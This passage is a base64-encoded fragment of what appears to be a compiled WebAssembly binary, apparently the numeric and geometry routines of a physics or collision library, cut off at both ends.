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3QiAUEEENAKIgVFDQILQQAhASACQQA2AgggAiAFNgIEIAIgBDYCACADBEADQCACQRBqIAYQgQMgAigCEARAIAIoAhQhAyACKAIARQ0DIAUQhwEMAwsgA0EBayEDIAIpAhQhByACKAIAIAFGBEAgAiABEL8EIAIoAgQhBSACKAIIIQELIAUgAUEDdGogBzcCACACIAFBAWoiATYCCCADDQALIAIoAgQhBSACKAIAIQQLIAUNAiAEIQMLIAAgAzYCBEEBDAILIAFBBEHAw8MAKAIAIgBBpAYgABsRAAAACyAAIAQ2AgQgAEEMaiABNgIAIABBCGogBTYCAEEACyEBIAAgATYCACACQSBqJAALuwMBCH8jAEEQayIHJAAgB0EIaiIFIAI2AgQgBSABNgIAIAcoAgwhCyAAQQhqKAIAIgQgBygCCCIGTQRAIABBCGoCfyAGQQFqIgkgBE0EQCAJDAELIAQhBSAJIARrIgogACgCACAEa0sEQCAAIAQgChC0BCAAQQhqKAIAIQULIAAoAgQgBUEDdGohAiAKQQJPBH8gBiAEayIIQQdxIQEgBiAEQX9zakEHTwRAIAhBeHEhCANAIAJC/////w83AgAgAkE4akL/////DzcCACACQTBqQv////8PNwIAIAJBKGpC/////w83AgAgAkEgakL/////DzcCACACQRhqQv////8PNwIAIAJBEGpC/////w83AgAgAkEIakL/////DzcCACACQUBrIQIgCEEIayIIDQALCyABBEADQCACQv////8PNwIAIAJBCGohAiABQQFrIgENAAsLIAUgCmpBAWsFIAULIgEgBCAJRg0AGiACQv////8PNwIAIAFBAWoLIgQ2AgALIAQgBksEQCAAQQRqKAIAIAZBA3RqIgAgAzYCBCAAIAs2AgAgB0EQaiQADwsgBiAEQeygwAAQowcAC7cGAgl/AX4jAEHQAGsiByQAAkACQAJAIABFDQAgACgCACIIQX9GDQIgACAIQQFqNgIAIAJFDQAgAigCACIIQX9GDQIgAiAIQQFqNgIAIANFDQAgAygCACIIQX9GDQIgAyAIQQFqNgIAIARFDQAgBCgCACIIQX9GDQIgBCAIQQFqNgIAIAdBKGohCCACQQRqIQkjAEHwAGsiBiQAIAYgA0EEaikCADcDGCAGIARBBGopAgA3AxAgBkEIa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ToACCACQQhqEOsJCyEDIABBAjYCACAAIAM2AgQLIAJBEGokAAu5AwEEfyMAQdAAayIBJAACQCAABEAgACgCAEUNARCnCwALEKYLAAsgAEEANgIAIABBtANqIgMoAgAhBCADQQI2AgAgAUEgaiIDQQhqIABBjANqKQIANwMAIANBEGogAEGUA2opAgA3AwAgAUE4aiAAQZwDaikCADcDACABQUBrIABBpANqKQIANwMAIAFByABqIABBrANqKQIANwMAIAFBCGoiA0EIaiAAQcADaikCADcDACADQRBqIABByANqKQIANwMAIAEgAEGEA2opAgA3AyAgASAAQbgDaikCADcDCAJAIARBAkcEQEHQAEEEENAKIgJFDQEgAkEANgIAIAIgASkDIDcCBCACIAQ2AjQgAiABKQMINwI4IAJBDGogAUEgaiIAQQhqKQMANwIAIAJBFGogAEEQaikDADcCACACQRxqIAFBOGopAwA3AgAgAkEkaiABQUBrKQMANwIAIAJBLGogAUHIAGopAwA3AgAgAkFAayABQQhqIgBBCGopAwA3AgAgAkHIAGogAEEQaikDADcCAAsgAUHQAGokACACDwtB0ABBBEHAw8MAKAIAIgBBpAYgABsRAAAAC7kDAQR/IwBB0ABrIgEkAAJAIAAEQCAAKAIARQ0BEKcLAAsQpgsACyAAQQA2AgAgAEGABGoiAygCACEEIANBAjYCACABQSBqIgNBCGogAEHYA2opAgA3AwAgA0EQaiAAQeADaikCADcDACABQThqIABB6ANqKQIANwMAIAFBQGsgAEHwA2opAgA3AwAgAUHIAGogAEH4A2opAgA3AwAgAUEIaiIDQQhqIABBjARqKQIANwMAIANBEGogAEGUBGopAgA3AwAgASAAQdADaikCADcDICABIABBhARqKQIANwMIAkAgBEECRwRAQdAAQQQQ0AoiAkUNASACQQA2AgAgAiABKQMgNwIEIAIgBDYCNCACIAEpAwg3AjggAkEMaiABQSBqIgBBCGopAwA3AgAgAkEUaiAAQRBqKQMANwIAIAJBHGogAUE4aikDADcCACACQSRqIAFBQGspAwA3AgAgAkEsaiABQcgAaikDADcCACACQUBrIAFBCGoiAEEIaikDADcCACACQcgAaiAAQRBqKQMANwIACyABQdAAaiQAIAIPC0HQAEEEQcDDwwAoAgAiAEGkBiAAGxEAAAALggUBD38CQAJAIABFDQAgACgCAA0BIABBfzYCACABRQ0AIAEoAgAiD0F/Rg0BIAEgD0EBajYCACACRQ0AIAIoAgAiD0F/Rg0BIAIgD0EBajYCACADRQ0AIAMoAgANASADQX82AgAgBEUNACAEKAIADQEgBEF/NgIAIAVFDQAgBSgCAA0BIAVBfzYCACAGRQ0AIAYoAgANASAGQX82AgAgB0UNACAHKAIADQEgB0F/NgIAIAhFDQAgCCgCAA0BIAhBfzYCACAJRQ0AIAkoAgANASAJQX82AgAgCkUNACAKKAIADQEgCkF/NgIAIAtFDQAgCygCAA0BIAtBfzYCACAAQQhqIREgAUEEaiESIAJBBGohEyADQQRqIRQgBEEEaiEVIAVBBGohFiAGQQRqIRcgB0EEaiEYIAhBBGohGSAJQQRqIRogCkEEaiEbIwBBIGsiDyQAAkAgC0EEaiIQLQAgRQ0AIA9BCGogEEEQaigCACIcIBBBFGooAgAiHRBRIA8oAghBAkYNAANAIA9BCGogHCAdEFEgDygCCEECRw0ACwsgDyAONgIQIA8gDTYCDCAPIAw2AgggESASIBMgFCAVIBYgFyAYIBkgGiAbIA9BCGpB5LrAACAQQYi7wAAQGCAPKAIIIgxBJE8EQCAMEAALIA8oAgwiDEEkTwRAIAwQAAsgDygCECIMQSRPBEAgDBAACyAPQSBqJAAgC0EANgIAIApBADYCACAJQQA2AgAgCEEANgIAIAdBADYCACAGQQA2AgAgBUEANgIAIARBADYCACADQQA2AgAgAiACKAIAQQFrNgIAIAEgASgCAEEBazYCACAAQQA2AgAPCxCmCwALEKcLAAuiAwEDfwJAAkACQAJAIAFBCU8EQCABQRBJDQEMAgsgABAvIQMMAgtBECEBC0HN/3sgAWsgAE0NAEEQIABBBGogAEELSRtBB2pBeHEiBCABakEMahAvIgJFDQAgAkEIayEAAkAgAUEBayIDIAJxRQRAIAAhAQwBCyAAKAIEQXhxQQAgASACIANqQQAgAWtxQQhrIgEgAGtBEEsbIAFqIgEgAGsiAmshAyAALQAEQQNxBEAgASABKAIEQQFxIANyQQJyNgIEIAEgA2oiAyADKAIEQQFyNgIEIAAgACgCBEEBcSACckECcjYCBCAAIAJqIgMgAygCBEEBcjYCBCAAIAIQ+wEMAQsgACgCACEAIAEgAzYCBCABIAAgAmo2AgALIAEtAARBA3FFDQEgASgCBEF4cSICIARBEGpNDQEgASABKAIEQQFxIARyQQJyNgIEIAEgBGoiACAAKAIEQQFyNgIEIAAgAiAEayIEIAAoAgRBAXFyQQJyNgIEIAAgBGoiAiACKAIEQQFyNgIEIAAgBBD7AQwBCyADDwsgAS0ABBogAUEIagvlBgEDfyMAQSBrIhEkAAJAAkACQCAARQ0AIAAoAgAiEEF/Rg0CIAAgEEEBajYCACABRQ0AIAEoAgAiEEF/Rg0CIAEgEEEBajYCACACRQ0AIAIoAgAiEEF/Rg0CIAIgEEEBajYCACADRQ0AIAMoAgAiEEF/Rg0CIAMgEEEBajYCACAERQ0AIAQoAgAiEEF/Rg0CIAQgEEEBajYCACARIA42AgxBACEOIBFBEGohECMAQZABayIPJAAgDyABQQRqNgIEIA8gAEEEajYCACAPIAJBBGo2AgggDyADQQRqNgIMIA8gBEEEajYCECAPIAU4AhQgDyAGQQBHOgAbIA8gBzYCHCAPIAk2AiQgDyAINgIgIA8gCzkDMCAPIApBAEetNwMoIA8gDTkDQCAPIAxBAEetNwM4AkAgEUEMaiIGKAIAEARBAUYEQCAPIAY2AlwgDyAPQRtqNgKIASAPIA9BFGo2AoQBIA8gD0EIajYCgAEgDyAPQQRqNgJ8IA8gDzYCeCAPIA9BEGo2AnQgDyAPQQxqNgJwIA8gD0E4ajYCbCAPIA9BKGo2AmggDyAPQSBqNgJkIA8gD0EcajYCYCAPQcgAaiAPQeAAaiAPQdwAahDbAgwBCyAPIA9BG2o2AogBIA8gD0EUajYChAEgDyAPQQhqNgKAASAPIA9BBGo2AnwgDyAPNgJ4IA8gD0EQajYCdCAPIA9BDGo2AnAgDyAPQThqNgJsIA8gD0EoajYCaCAPIA9BIGo2AmQgDyAPQRxqNgJgIA9ByABqIA9B4ABqQQAQ2wILIBAgDygCSAR/IA9ByABqIgZBDGoqAgAhBSAGQQhqKAIAIQYgECAPKAJMNgIEIBBBDGogBTgCACAQQQhqIAY2AgBBAQVBAAs2AgAgD0GQAWokACARQQhqIBFBHGooAgA2AgAgESARKQIUNwMAIBEoAhAhBiAEIAQoAgBBAWs2AgAgAyADKAIAQQFrNgIAIAIgAigCAEEBazYCACABIAEoAgBBAWs2AgAgACAAKAIAQQFrNgIAIAYEQEEQQQQQ0AoiDkUNAiAOQQA2AgAgDiARKQMANwIEIA5BDGogEUEIaigCADYCAAsgEUEgaiQAIA4PCxCmCwALQRBBBEHAw8MAKAIAIgBBpAYgABsRAAAACxCnCwAL9gIBA38CQAJAAkACQAJAAkACQCAHIAhWBEAgByAIfSAIWA0HIAYgByAGfVQgByAGQgGGfSAIQgGGWnENASAGIAhWBEAgBiAIfSIGIAcgBn1aDQMLDAcLDAYLIAIgA0kNAQwECyACIANJDQEgASELAkADQCADIAlGDQEgCUEBaiEJIAtBAWsiCyADaiIKLQAAQTlGDQALIAogCi0AAEEBajoAACADIAlrQQFqIANPDQMgCkEBakEwIAlBAWsQrQsaDAMLAn9BMSADRQ0AGiABQTE6AABBMCADQQFGDQAaIAFBAWpBMCADQQFrEK0LGkEwCyEJIARBEHRBgIAEakEQdSIEIAVBEHRBEHVMDQIgAiADTQ0CIAEgA2ogCToAACADQQFqIQMMAgsgAyACQYyZwwAQlwsACyADIAJBnJnDABCXCwALIAIgA08NACADIAJBrJnDABCXCwALIAAgBDsBCCAAIAM2AgQgACABNgIADwsgAEEANgIAC4gDAgZ9BX8gAEEIaigCACIJBEAgAEEEaigCACIHKgIEIQIgByoCACEBAkAgCUEBRgRAIAIhBiABIQUMAQsgB0EIaiEKIAlB/v///wFqQf////8BcSELAkAgCUEBcQRAIAohCCAHIQogASEFIAIhBgwBCyACIAdBDGoqAgAiAyACIANgGyEGIAEgB0EIaioCACIEIAEgBGAbIQUgAiADIAIgA18bIQIgASAEIAEgBF8bIQEgB0EQaiEICyALRQ0AIAcgCUEDdGohBwNAIAYgCkEMaioCACIDIAMgBl8bIgYgCEEMaioCACIEIAQgBl8bIQYgAiADIAIgA18bIgIgBCACIARfGyECIAUgCCoCACIDIAMgBV8bIgUgCEEIaiIKKgIAIgQgBCAFXxshBSABIAMgASADXxsiASAEIAEgBF8bIQEgByAIQRBqIghHDQALCyAAKgIYIAUgAZNDAAAAP5QiASAGIAKTQwAAAD+UIgUgASAFXxuSDwtB6fvBAEHSAEHM/MEAEJoLAAvFGQMjfwd9A34jAEHwAGsiBSQAIAEoAgAoAgAhByABKAIEIhQoAgAiDARAIAVBEGoiBiAUKAIEIgRB//8DcTYCBCAGIARBEHY2AgAgBSgCFCEUIAUoAhAhCAsgB0FBcSEGIAEoAggiFSgCACIJBEAgBUEIaiIEIBUpAwgiLUIgiD4CBCAEIC0+AgAgBSgCCCEVIAUoAgwhCwtBACAHIAYbIRYgASgCDCIXKAIAIhgEQCAFIBcpAwgiLUIgiD4CBCAFIC0+AgAgBSgCACEXIAUoAgQhDgsgASgCGCgCACEHIAEoAhQoAgAhBiABKAIQKAIAIQQgBSABKAIcKAIAKQIANwM4IAUgDjYCbCAFIBc2AmggBSAYNgJkIAUgCzYCYCAFIBU2AlwgBSAJNgJYIAUgFDYCVCAFIAg2AlAgBSAMNgJMIAUgFjYCSCAFQaC7wAA2AkQgBSACNgJAIAVBGGohD0EAIQxBACEWQQAhGCMAQfADayIDJAAgA0EQaiICQShqIAVBQGsiAUEoaikCADcDACACQSBqIAFBIGopAgA3AwAgAkEYaiABQRhqKQIANwMAIAJBEGogAUEQaikCADcDACACQQhqIAFBCGopAgA3AwAgAyAHNgJIIAMgBjYCRCADIAQ2AkAgAyABKQIANwMQIANBADoAeCADIAVBOGoiATYCdCADIAEpAgAiLaciATYCXCADIAE2AlggAyABNgJUIAMgATYCUCADIC1CIIinIgE2AmwgAyABNgJoIAMgATYCZCADIAE2AmAgAyACNgJwAkACQCAEQRhqKAIAIh0EQCADQQA2AogBIANCgICAgMAANwOAASADQYABaiIGQQAQvwRBAyEBIAMoAoQBIAMoAogBIgJBA3RqQoCAgIDw////fjcCACADIAJBAWo2AogBIANBoAFqIAYQgAICQCADKAKgAUEBRw0AIARBOGooAgAhGiAEQTxqKAIAIRkgBEEUaigCACEUIANBywJqISEgA0GoA2ohECADQYwDaiERIANB8AJqIRIgA0H8AWohEyADQdkDaiEiQ///f38hJyADQc8CaiEVA0AgJyADKgKoAYxfDQEgAygCpAEiAiAdSQRAIBQgAkHgAGxqIg0tAFhBAXEiBARAIBogDSgCQCICQQR0akEAIAIgGUkbIgJBCGpBACACGyEeIBogDUHMAGooAgAiAkEEdGpBACACIBlJGyICQQhqQQAgAhshHyAaIA1ByABqKAIAIgJBBHRqQQAgAiAZSRsiAkEIakEAIAIbISAgGiANQcQAaigCACICQQR0akEAIAIgGUkbIgJBCGpBACACGyEbCyADQaACaiANIANB0ABqEPUBIAMqAqACIiYgJ10hDiADKgKsAiEpIAMqAqgCISogAyoCpAIhKwJ/IAQEQCADIB82AsQCIAMgIDYCwAIgAyAbNgK8AiADIB42ArgCQgAhLiADQdACaiIXQgA3AwAgA0IANwPIAiADQQM2AsADIANBAzYCpAMgA0EDNgKIAyADQQM2AuwCICYgJ12tICcgK14iI61CAYaEICcgKl4iJK1CAoaEICcgKV4iJa1CA4aEIS1BACEGQQAhAgJAA0ACQCAtIC6IQgGDUA0AIANBuAJqIAZqKAIAIglFDQAgAygCcCIIKAI4IgdBMGooAgAiBCAJKAIAIgtNDQAgB0EsaigCACALQZABbGpBACAEIAtLGyIHKAIAQQFHDQAgCSgCBCIJIAcoAgRHDQAgAygCdCEKIAggCCgCNCIEQSBqKAIAIARBJGooAgAgCyAJIAdBCGoiDBCfAkUNACADQQhqIgggB0EoaiIHKAIEIgQ2AgQgCCAHKAIAIAQoAghBB2pBeHFqNg